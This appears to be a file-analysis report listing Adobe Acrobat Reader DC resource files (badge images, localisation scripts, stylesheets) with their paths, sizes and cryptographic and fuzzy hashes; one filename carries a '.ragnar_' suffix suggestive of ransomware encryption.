SHA1 a0eaa16799258bd67a5b454e63c14d8424752b4f
SHA512 de0e2cefba23947f986a68d6305dba6b6885674e91fda808a7a3769fa88b7f010bb6db860e4a695ca34d321adf950c2e13a1c960538b1b410530c30a2110e637
SSDEEP 384:35Xm+xrSn4vgX+iWq0W+oCouAZb2iyLpdBRUZg7BQrSK9c:oucwC0ACouEb25UHm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_ja_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ja_135x40.svg
Size 17KB
SHA256 2fe5681a255571ad7376b53361f09f81ff16110530cc2a2f4bf63b2a4d998643
MD5 509769c1fe20c6b37577da7773580884
SHA1 c37d8ef58e91674d22eee92f8429fff49675bc61
SHA512 4c94597aeaff6d604472460a031eae34a95506d354c81493873f1e167a72cbb9300ea9540d45f032f67c35ba098746bf0b1a85c29bdf0b8b3d133e6c8930122d
SSDEEP 384:357iUyruRpD9jdJjkNb5LdGHoauHc5JZzowW4fDIH49c:yyRpD9jd1W5pSuHcLEYC4m
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_ko_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ko_135x40.svg
Size 17KB
SHA256 4af7bdc7f9faa75585138d4b65c16034e8495f79550e817b1525d3066581cb4f
MD5 2d9cffdf915437a5bf292a1e533735c6
SHA1 93de867cfc114b28d469682148c0fda91916fe42
SHA512 6d212f727bc5f8aa4615a3847b61cddf83d345b9dffe427380af7afe209cdbe0563841c8cea24021641da65adc9988d2fd09ca22489d09fdc454268426737c3e
SSDEEP 384:35gp4k0viRiYwX1ijjWhLWsWetrN1yvu8bzp0TARozQFQxz5fGfEr+9c:A4uiYwlijjWhqqNzyzdRozmQpcfEr+m
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_nb_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg
Size 20KB
SHA256 80bcc00f6edf9687c322661e5299806acac3050b281558b62b68202cb54094cc
MD5 fd71966fb2bdd8211d9e490c5978d3db
SHA1 98409d03e404a6e82f23d556660aad1cddeb0ca4
SHA512 d1c03ecc932c4b9d0a76f37586dfd96bd73fbdb0b4798e412c5d23983ced3ce1b5eb854d535cc155a0efe4a3fdb9f4491691ffb6ed78a02a201b8aa95906f25b
SSDEEP 384:35upT5GX80jLX5JWqSbAG5N4qs5Ulng4Gm+ZAHw6B9flTvE9c:2Te80jjLWqSblpsWRgdPAbBdljEm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_pl_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pl_135x40.svg
Size 18KB
SHA256 8ba3e13ff6b39f3107b5d396f6b16e17117294ef44930c47750fa90c1428f09a
MD5 1b8d7b2a4a51b5aa6c15b403fbcc1296
SHA1 8f5573c9f11296e2bf4ff7c2ea300fa6da7de038
SHA512 d1026fcd55db215ceef92e86d96110ddc1b94068b6d39c7f615d6f562e81b6484c58e439baa374d78439e16e9ad5672b0e07e7bff7f55b03896501d59f3aec9c
SSDEEP 384:3564IuUea/GxsIPdXxAcpBZEiUgR16+cKcUy09poU6AiNsFx3Fv9c:ZUj/GOI1XXUipy0noU+srVvm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_pt_135x40.svg.ragnar_292FBD50

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg.ragnar_292FBD50
Size 19KB
SHA256 b3e1df39fe8a3301d1cd936ae2e4eee82a5fc9c9d0b07a45a1575adeb5cee954
MD5 1c1207ef5d3e8a4355340894285ac428
SHA1 bb09f5c0677304af7c7758cded2fbdd05183aba4
SHA512 a64c0bc82334df0d4a1e8ffab181a81025816b07586170d5dea6960933db2b231163b20e1a549a7953dd64270b11296d98089af0def56b62b28be141792826ec
SSDEEP 384:35CpT5GX80jLX5JWqSbKkYRY2gwPSLJkZrEKJ9F8IVC1nH72x9c:qTe80jjLWqSbkWTwgJyEC8IC9H72xm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_ru_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg
Size 23KB
SHA256 6fb850cc3875911649e1ffd34ac69525bafca22a67e9f32a678eb08d7ba366d7
MD5 da258f5aa17969b8fed022e57690fc11
SHA1 1efc8ef9ed7e433203edc4b3fcbaed7381c310eb
SHA512 212911066082e1bb5ba82e64e2565d521664a0107edee89b4548c6e15d0bf3a0b07ad6dd7e4340e88e875ba3779ac86566ad6c2531c2ba6f44bf261f849c5472
SSDEEP 384:35Dpd0+G73ad1yxw4C3skjnHN/9l3r2OCkFp+lMX7yGj2kGsojR4KM50ORw4fcOv:Lu+83dHC3skLlb2CX7yGj2kGss4KMphd
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_sv_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_sv_135x40.svg
Size 17KB
SHA256 43075024e5fa32f5442d88e6db26e8040ae9692f2aa420bf792f814d32602f3d
MD5 4237944be9bedf538a6731c556cb9477
SHA1 05670e2db6ef0de262de02951ac79c63d2c38cb1
SHA512 3373a64fbcb8c2be31b340488e56cf04b16002143789db50a8135d5654c720789c4ec873c4157541c7fe167961d2bd0308ce8c1b0e927850cbc42847be38a9c2
SSDEEP 384:35Hpd0+G73ad1yxw40Np/yZ/CSRkgsTBruqsrbOm9c:bu+83dH0Np/e/CGkgQ8qsrbfm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_tr_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg
Size 21KB
SHA256 c1b18de31c74e544835b98a15152ad3b68564d278a55cfccbe59235ffc604684
MD5 1914cc557fedee462ec4c46478faee21
SHA1 f46dad058065da2030cf810c084e61ce1f7e505e
SHA512 c583549976de0045f82cf92e580ee55715c6bc27a4cd2cb5d250c9923726efe0e837cc5e3780f1931fa02cee6531a36956c9026f1032118fd9a206ed52995a0d
SSDEEP 384:35QpsSQpfIgBj59AWvh2pmkWxs303RhdDCt62MVbJ9c:0sSQpAEjHB2pmkW2gUtNE1m
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_zh_cn_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_cn_135x40.svg
Size 14KB
SHA256 a18f228d34e3ca8ba575359a8989af433058341d7d47e3834216eba793e0f809
MD5 bbf6c0daf317551617b52b39a65a4703
SHA1 97e157685d004d5a63e02b3f01863668fdd6bbfe
SHA512 ae1b35116464952e48203849c5bb986db39ae7683690efe8dcf32e507ae91ab392b85a3e29af2d436fb9b0e38e6294503221145d5b2a409ca3e48424850516cc
SSDEEP 384:35ra1gsK4R0OtGAumKxPeVrBH32DysQibSkbrK9c:4KjRO4AumKR5u1iFWm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Download_on_the_App_Store_Badge_zh_tw_135x40.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg
Size 15KB
SHA256 2675854f6e2877be1d218af6d360474d6925b76698331c987b940093ba499bb5
MD5 dcff243e2508e54d10e4db030d199043
SHA1 57dab5a7466f3e719a4a50f121ef76dce89bd491
SHA512 f9613b6108c2cb4eb0420db0386e0bcebd6e694adf85f2fe263092dcb9c9faf3fabe470d03864423964b8c319bee2ee4a8bd1a20d887cf2d30997af05ceb94b2
SSDEEP 384:35Ta1gsK4R0OtGDCB4bVqpTFwHDcr0iAEVUsyMBq9c:kKjRO4E4bVqphwjcuBsfcm
MD5 SHA1 SHA512 SSDEEP

Submit Download

cs_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\cs_get.svg
Size 5KB
SHA256 ea0b8bd24485b367c3042e4d68e570c90261931370f64df918c5d4a296af636f
MD5 c92bda7e69ac64f1b75fe96210fc97f0
SHA1 c972468e0f6feb786c3caae0298f807763ae201f
SHA512 37d7336334ab7d1acfdc1971eff7d57b1032c7da8ac6b72eb51d44892342acb1d4189fb4a776c860a6441e38127c5f12eed06ae36cab9bae299daa72b54c72b2
SSDEEP 96:7tTvApPkAYyEz6pCm+S+jqysdqk0x2pIwVuo0J0ehK3QbJnL+HJhHm9+F8g:R0Nk+Eu+lz+IZHq53QFMJhm9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

da_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\da_get.svg
Size 5KB
SHA256 17cf9bdf3475dad5623a345617150f37c4a1d885b4fefa3dc912c51df25ebbf1
MD5 5d70d19caa38e28b46b160ab290d55f1
SHA1 99807072fc289b6ae3b30ddfe7187936542605d0
SHA512 1ed14b0ffba7f7128cacc7dabc7f413b0a6362732aa316d6a24ce28684bc33216ec2a6b7149a06e1e942af55aa332b0cc935ace4d6ecc30f66020ae6181ad606
SSDEEP 96:7tTvApPkAYy/z6pCm+S+jqysdqk0x2pIwVuo0J0ehK3QbJDM46d9+F8g:R0Nk+/u+lz+IZHq53QFo409y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

de_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\de_get.svg
Size 6KB
SHA256 8bdeaefa790cef213eb9670b379ac1eca10323612005b54da5032a974ece084e
MD5 010072450c7e83b357a9cacbc31a6cd2
SHA1 8e82b3f53b38548d23865fcff060e07f32c06b4c
SHA512 0dc2aec48688d185eb89df0e191ea34219d7f355e0465a04d92b9a979488e7433f7fa9e088e7194ede8433037eaeb8545b03a224446aea54f94819ff6c2c731f
SSDEEP 96:7tTvApPkAYyqz6pCm+S+jqysdqk0x2pIwVuo0J0ehK3QbJ2mQU7RqmoRkuG9+F8g:R0Nk+qu+lz+IZHq53QF21U1qtG9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

es-419_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\es-419_get.svg
Size 7KB
SHA256 40f86fd88d2081d6f7b01e56aaa509333e845a689f2fb6c785d4ec559d45cb11
MD5 ae2f669cb2aa0c719dd314bafeebf1cb
SHA1 58220d770c9c93fc512e2c3c006a3ae29121d266
SHA512 0422fca7969ad5df2413cca18f697c1df46d073709f081300617411e772e2c7901d43f2d0f101a9f10f841d7c901e86dcb24e85dce23ab11ab243880c19f54fd
SSDEEP 96:7tTvApPkAYyR3hMcQYZgpNbMp7nR3lx5QJrS5i+EiXNA4kER2eqeb6AqbB9+F8g:R0Nk+JhMhNAl5OiX+4kxeL2t9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

fi_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fi_get.svg
Size 5KB
SHA256 e4a09f3d47bfe36b6fabe777d49e80efca2bd4e06e77dcf9691765701d00dfbc
MD5 88fb9f345a9e7d3ddc970dbde1beed34
SHA1 e56fdeafcc4e7954d09b90e742ee979934e980fc
SHA512 32a1646f83aa91e830726db7fa6d19a971beabf1b3a407d8be120a58a69071e1a2d4ece81776cb741cc5ff29f4c3b3d156b06e25d458c064f8fffbb87c937c04
SSDEEP 96:7r63nlUJy/mYL9OVcTk3jXsBv/qDXn3MFkoDwlsMakWnIsOO/lsY4A19+F8g:a3noyOYceA3ABw33MFkAMakxs5/OY4Wm
MD5 SHA1 SHA512 SSDEEP

Submit Download

fr_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fr_get.svg
Size 8KB
SHA256 41dce8111acc342c94c4dfe0e24d8b5da2ad0d23192d8b3c10178685918e1065
MD5 9eadd15b64ea38fab72d81f54cfdaa27
SHA1 06633fc4a8a769c8da3738ed4feba432ff7a058f
SHA512 5eb4fb1c3061b561d26a7785126185f6cb36bb005463f57142e6ef5defc6650a181a0cb02bf02ea77cf171877fdb659bc577f8dc7cfeaf10f082400fc4c402f7
SSDEEP 192:R0Nk+dhMhNAl5uUXJ4k0OR15RhlhH69y8g:R02+dabAl51J4nOFhlF69c
MD5 SHA1 SHA512 SSDEEP

Submit Download

it_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\it_get.svg
Size 7KB
SHA256 9b05d49de7d5b2de798ea95c62ee091d99fa9b5ab581a46fbb051e4124bea217
MD5 244cba7e87569612fd8af7d184e4cd4b
SHA1 4210d236d0afce5094771cebf2cb38f8ffdf8957
SHA512 e951eb0c2beda2114f8d19fb99918e676a7d7e443081b985251aca67cef5825f16cb59b5f8f8e8fdfc6ab73ca1469752ca95e743192e1c75611e07284273a06e
SSDEEP 96:7tTvApPkAYyih3hMcQYZgpNbMp7nR3lx5QJrS52irXBzxQrrdhpjJf9KKYRi6k4m:R0Nk+yhMhNAl52UX6RJlLOC49y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

ko_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ko_get.svg
Size 6KB
SHA256 15839feee44d11a54f25bbdc6c28647fd643c1984b692ab6e48a4af0ca805875
MD5 00c13a1c97b7a4fb6d4afa201c5ef241
SHA1 af88547667405abd1a0e1f19e15b6ca5b792b7e6
SHA512 cfecb73be06f08f42fd5569812d11f9e5e366967da34a75f6437e8c9527aeda2e38eee621f8de440056c07e692288f8933896a2d9b37c274c33fb493d2106706
SSDEEP 96:7tTvApPkAYya3hMcQYZgpNbMp7nR3lx5QJrS5arD08dl9+F8g:R0Nk+AhMhNAl56Dp9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

no_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg
Size 7KB
SHA256 58e445e64c366f8284dbe80f75513fffad7823bd2b319c9a69760075cd47d4bc
MD5 94f35797b31f57a9b1ee5906662c3f4d
SHA1 7cafe1264db4e0b650eb7534093737960a42d091
SHA512 24ed2a54dc5528f6baa7f6095b27808843b72b93d295f6757111e582419db81ba648d9289805148267f35374ff25e8d4c9ef26c9767a68c8d6305b06a003897a
SSDEEP 96:7tTvApPkAYyt3hMcQYZgpNbMp7nR3lx5QJrS5hc0UIIAuSa/G61+yM9+F8g:R0Nk+VhMhNAl5h3tI5/X1bM9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

pl_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg
Size 6KB
SHA256 638a6bf396e210dc31667c09e6db2c217fb50aa38db839fa6fb2f94a503fba4e
MD5 3b6834660e1c9a6c5e8cee7fb33dcb02
SHA1 d5603d3cbf33cbbdc628e9dab034a0680e2b17b2
SHA512 632a1a4a4520a09f846dcd8cf0c0cd3e9a825b129acd6576966eebc7a9e111b047e689eb267daa7c6b6c35c0728f55e056e8df79e0238d5e08fb765b7f7f2a2e
SSDEEP 96:7tTvApPkAYyM3hMcQYZgpNbMp7nR3lx5QJrS5LcFnYZW92lMOs9+F8g:R0Nk+ahMhNAl5YFnh0MOs9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

pt-br_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt-br_get.svg
Size 7KB
SHA256 6e5d824138d5a591dd4d96a97bf6d62656d42d35fd34deb39a09ffedfef24d15
MD5 f0d64b5707f51f76cbec23284dec76b5
SHA1 35eb2620910438530c2c5d6cf0985b24939c8306
SHA512 3820018f0edb4a6777902cd0a6d22f1fbf73150426da8d9f2bd66930d7313d0f76b0731b9812cf26e8174682ee23c323518235efa8bb49f9c1b711df622491fe
SSDEEP 96:7tTvApPkAYyz3hMcQYZgpNbMp7nR3lx5QJrS5U+a3ppWSoGhtthsUTAO9+F8g:R0Nk+ThMhNAl5ur3/Xp9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

ru_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ru_get.svg
Size 6KB
SHA256 a7c744509d675dcfb007b45ec7fadab1dbd700466527a3df2c2c3d51034edabc
MD5 0ac3a7caed2c9f29f27047f8cd0cd52f
SHA1 d986b073c07822560eae6dc11e60f2a626fde23c
SHA512 aa7c9b21f8647d7e904654c3ce6dbde596b32cbfddf68db04f391a19737a8618aa98d2c864b88deafc63e80484bc1b7fba3590d05499f5d657d0e57bcfbad24a
SSDEEP 96:7tTvApPkAYyn3hMcQYZgpNbMp7nR3lx5QJrS5CAsccAQpeF0t1ARzfK9+F8g:R0Nk+3hMhNAl5Ds3AQpeF0t1IK9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

sv_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sv_get.svg
Size 6KB
SHA256 dbada8b1e0b14341b3e6530a2d78d55a6f53ed36415ee9414906b731ba1fbc7a
MD5 bc8e46f2df120ed78332abe7acf1625d
SHA1 cc067818b73cd78d0326b020db6a7ab990d39c6d
SHA512 96631c13fd15f22eca8bb2e2038ac4d6a6969e2dca75b024739cee2237623eb52903e3627d068405161442071f02e895d73c8d16c297dc0dda5f23513233bd3c
SSDEEP 96:7tTvApPkAYyi3hMcQYZgpNbMp7nR3lx5QJrS5AIcVXAYXo9+F8g:R0Nk+IhMhNAl59IwY49y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

tr_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\tr_get.svg
Size 5KB
SHA256 fa4c748b7010283b388af2a8b09769b5a40dce17e8355ac3048eacdfbcd71cef
MD5 3b41ca9b0dc43ca6edf73951890768ab
SHA1 2df0528cf30746b9f22e6b22799bfa530f9c8de6
SHA512 89e1ea5c8eea3cf88f121445e6ee109bb8ca412b42e1d79261072f062309ed02e36bc7ceb3d8803f686f9b21e1b4194849fe52702d59fd3b7246abe8ac414604
SSDEEP 96:7tTPXpPJAZey83hk2wG7VVqnsgoinTi/mVVSErRoSAiU/Q7+dFUxxL9+F8g:RTNJ6LKhk2wYVV29NrRBAiYnUnL9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

zh-cn_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-cn_get.svg
Size 7KB
SHA256 410edb0eac5db61cd1a858aa95c67ca2c738312d1a55865f135d12970ac717c1
MD5 aae73f0d45eebbba092fc0b59e041a24
SHA1 645b0e66ea003a4e6dec07da782706b0e9ea5c54
SHA512 b1d4b0c6d91c6dbf4ada3dbfc213bef44d14f7289c0290b2c9eb2023cdb103f4e3f7b1270e1c0dd029d5f1424b608d35fe203fd0eb33f0121a1e2e9a23175ab9
SSDEEP 96:7tTvApPkAYyO3hMcQYZgpNbMp7nR3lx5QJrS5zZ1NhOQMXbMRN4kp55nfebW5kZl:R0Nk+UhMhNAl5l1LOQgMPFpn6W5v9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

zh-tw_get.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-tw_get.svg
Size 6KB
SHA256 9c54223b4af6924a6f99c20bbbdf0ffab64a60838d80980024e33ba76d08c759
MD5 e2fbcca5941c7933066af4e6166f9e3f
SHA1 27c0f58b9cc5014fc2a5c6417be009c5ba376e91
SHA512 c5854ff088764e04b27016da9fd10db7e5a7e6231685f775ceecf9619dbbc8ed7e1f4f4166ac16890c8b0f9a037756d557b9703f2a185bfc2ac39626c3a36297
SSDEEP 192:RTNJ6L1hk2wYVV29NrRBAiSY/lcppPL9y8g:RTP6L1/DyNrRBAQqX9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\ui-strings.js
Size 1KB
SHA256 2b8cc89c83304d90bfae837e034688038f464cca2a2195eba88889841adf4496
MD5 94dec3a455fa772fed6d0f295c1e6731
SHA1 ad60f7b126a33e72517efaeed6591ca6653fb419
SHA512 5c62de3e9743cf00650830bf4f6726e913a4c552fb7376a793d1407a44c15c4dd5de666779f16afc798494c7106a2bdc2ed5f35ed124a87b9d75476905307bb5
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ui-strings.js
Size 1KB
SHA256 b773f4af773f05c54a4bab032cc9c1bd8f69c35ce9253c900c3b639b605c56a4
MD5 5a3c8b72445777709f303265f2d7d0af
SHA1 b0058071e293cdabfa531262d33c41bfdc0c58ce
SHA512 e6df54739c44d1438e46c1c67a1446225106094399bac629e25f7985c3898be6fdd84bfc3fdcb18e6d8eb126f1144d3577e7ba947ef037cbb9f22afc5082db96
MD5 SHA1 SHA512

Submit Download

main.css

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\css\main.css
Size 1KB
SHA256 27e2b8cdc2f276cd6a1bc9677c39fad5859a791cb4199cc87311a408e7793ea4
MD5 fb0f87f229acd17ab9dc6f0161e4ceab
SHA1 43f585b5a54fefda36c2370057624d9c13de9dc6
SHA512 dcce492b0ed0b0fc83457ba3f591028ef249c8972821ddff17366a3bcf52b9a7b3fcca28d24ebe51a1b11d00dd1a066541ac1fd2bd7ac44671dcfd05abb1622c
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\he-il\ui-strings.js
Size 1KB
SHA256 0beeece7a2a49c20ef8b5e034037f0d30af6e38e973701b9f2a481a00526b334
MD5 4236330fda7ea243e62b71ae542516cd
SHA1 d717b55abaf2908f073104156b4c43647791a68b
SHA512 0dd0ca42f00fbaca84222396cd314b591b25650bdc1123039a3070b37cdbd9146df5a8b60a8fe6958e97d30a7e401fe53fa6bd052df7b0e61e100ce692035e73
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\nb-no\ui-strings.js
Size 1KB
SHA256 019f53e4b483dbce7cefad296adb9f1e02141b4ae3a45da458e8cc8cefe4f0fe
MD5 e92e2d16cbc7e14f10fdf028d34da1a8
SHA1 a0738875736d7dc76f5a13b576bfa4e3cbb095d5
SHA512 04bfa88e7d7f4ee5b8230657b9717a1f32f9bbc85b1f42000f733ae8fc7e9a52f7d4aecdaa8066a57991281b8d82a31f0ab9e5c04b48cb3464e00b4a1c18cdd9
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\root\ui-strings.js
Size 1KB
SHA256 4755a3c3654c79ad0c4d90122df4b247a16d153e30a35e9b7dac98b0fce2d0e2
MD5 3382003ea44d315a9f8db1b23ba42007
SHA1 df49eebeb1cdfad5a81a4b8b2fe87dfe2bc12083
SHA512 888171b900294504e4922a9226f705e222abf9f49391a018a3c0eb8eae1ebf407d35f8679df83a2ec4674b4366a39eb2906e753f77616e82e005f9b974eca95d
MD5 SHA1 SHA512

Submit Download

main-selector.css

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css
Size 1KB
SHA256 f5f70d2385fbb708059cedb2b2f89080a3ec6abcf0577beaaeaf3f62a05e3ca7
MD5 d770b712d45b9e06ab39a4f2fcd84139
SHA1 bae997974dba5ff8351685e31b1392ab8e359e8a
SHA512 23a0800ecf5531442466d8396efabdea1934c0356e8a0f30e2fe6b582d4799d6c85375ff7dcfd5e246b3b0cb25c2527f505815e1feac6f5b6ac287b61d0dd771
MD5 SHA1 SHA512

Submit Download

faf_icons.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\faf_icons.png
Size 6KB
SHA256 a9172bd9149457bb1294a22cec92661ee5d2152b88eadf779eca3522fb793aff
MD5 324429a2f28b47adf21a8e50ea77c462
SHA1 5c90f03b64d55e1a91f13a799a741b544d25bbd0
SHA512 53c4f3f213a402a8c37ee472438d5c6be5fa1916da101f5f99593d77a03ed347cbaf595f6e539a9013c58fcd3fd8ebca2eb71b04b2e6925dca44c27111d3a254
SSDEEP 192:T+/YalZpvcsfbL1dy0ZRVFdhVkAx3tmEr+OPyD/w9y8g:a/97/1d/bRhaEaOPmI9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

progress.gif

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif
Size 19KB
SHA256 e5c81697f43a307eb8b76be1a56280b866124f3db2ff1eaf67e3bb2477e44f8e
MD5 bee7a87dc1207a26b1aec4c2defb6c83
SHA1 c6643e0c4687ae58d39ded11271356be7f5adc6a
SHA512 39fe61cfe3c43d986c74539e4e1950da9b4cb11e14b85a3422e236a2280b758c510a34cf8fb88bf8d501aa7abaa3c0c6ccc5499ecc876980fb49e06eb75ae241
SSDEEP 384:fGozuIKLtyPutf7zauYYbanrxCP2xw6i8kzlwMfss6X7yADVstYmwq7of9c:fjZKLtyPu17lJ+YOxrixZwMiqt7Mfm
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js
Size 8KB
SHA256 d52c37bf3e13adf402222e38375fde3cb616090333372ea713e66cfc9c68f407
MD5 309ee5e68bf1eadabe1499132ffb34cb
SHA1 d0ba183adda3ab9464db9bac93306f851ef06fb6
SHA512 80d593b7bc749e05d137bd9756e0b1cff7b25e9771255e440deab58701b7ebc4a46e8db89b6f84236db3511552b85ea1b1ed2d293af86bd9f276a18ba5bdd0e2
SSDEEP 192:BV0uaWVuTDVlWE42qTyZsyYwVklx9XeAFv0mZ4MNWc7Wx9y8g:nnGjWE42myqPw2lxgAJpNWc6x9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js
Size 4KB
SHA256 a3e00fe2669a198f027c0948e0e3fc985fd9f1ccefa2e07ee0b8ce05fbc9764d
MD5 a17f5d1426d24086af3efe7072c2e0d7
SHA1 3fa41740e7da80bc0ccedd76dba9ba9aa9184f74
SHA512 d02eca21aae643d8cfe6f63f818f7c62f2863446f3589607348afcf25077c5bcbd41c950406b6e01f0a2cd90221f3ef1b97461d0b240dede9debbf2e69f79fce
SSDEEP 96:YMzNMKiW9CQCpp6QyLZagc5x54QxoUFCpI2s7dOtJq7x9+F8g:YV02pYWn54QxHCpI3cbYx9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\root\ui-strings.js
Size 1KB
SHA256 60527c938b5f4dd0fb3409604b4f6484621dbe2fec7d3f45133b51a6e28b694c
MD5 eaded89de0e6aaca53b8e04008ae0e94
SHA1 780401ef3ad4828710549980f6b22ba6ff89929c
SHA512 c33dbc51156364283e42cc036e2914a4596deef8d9239f7c9c9e844556561dc3b3dd98a509371f71fa143779058709b4f8499e433a942e60b0f82ba44a64f1fa
MD5 SHA1 SHA512

Submit Download

bun.png

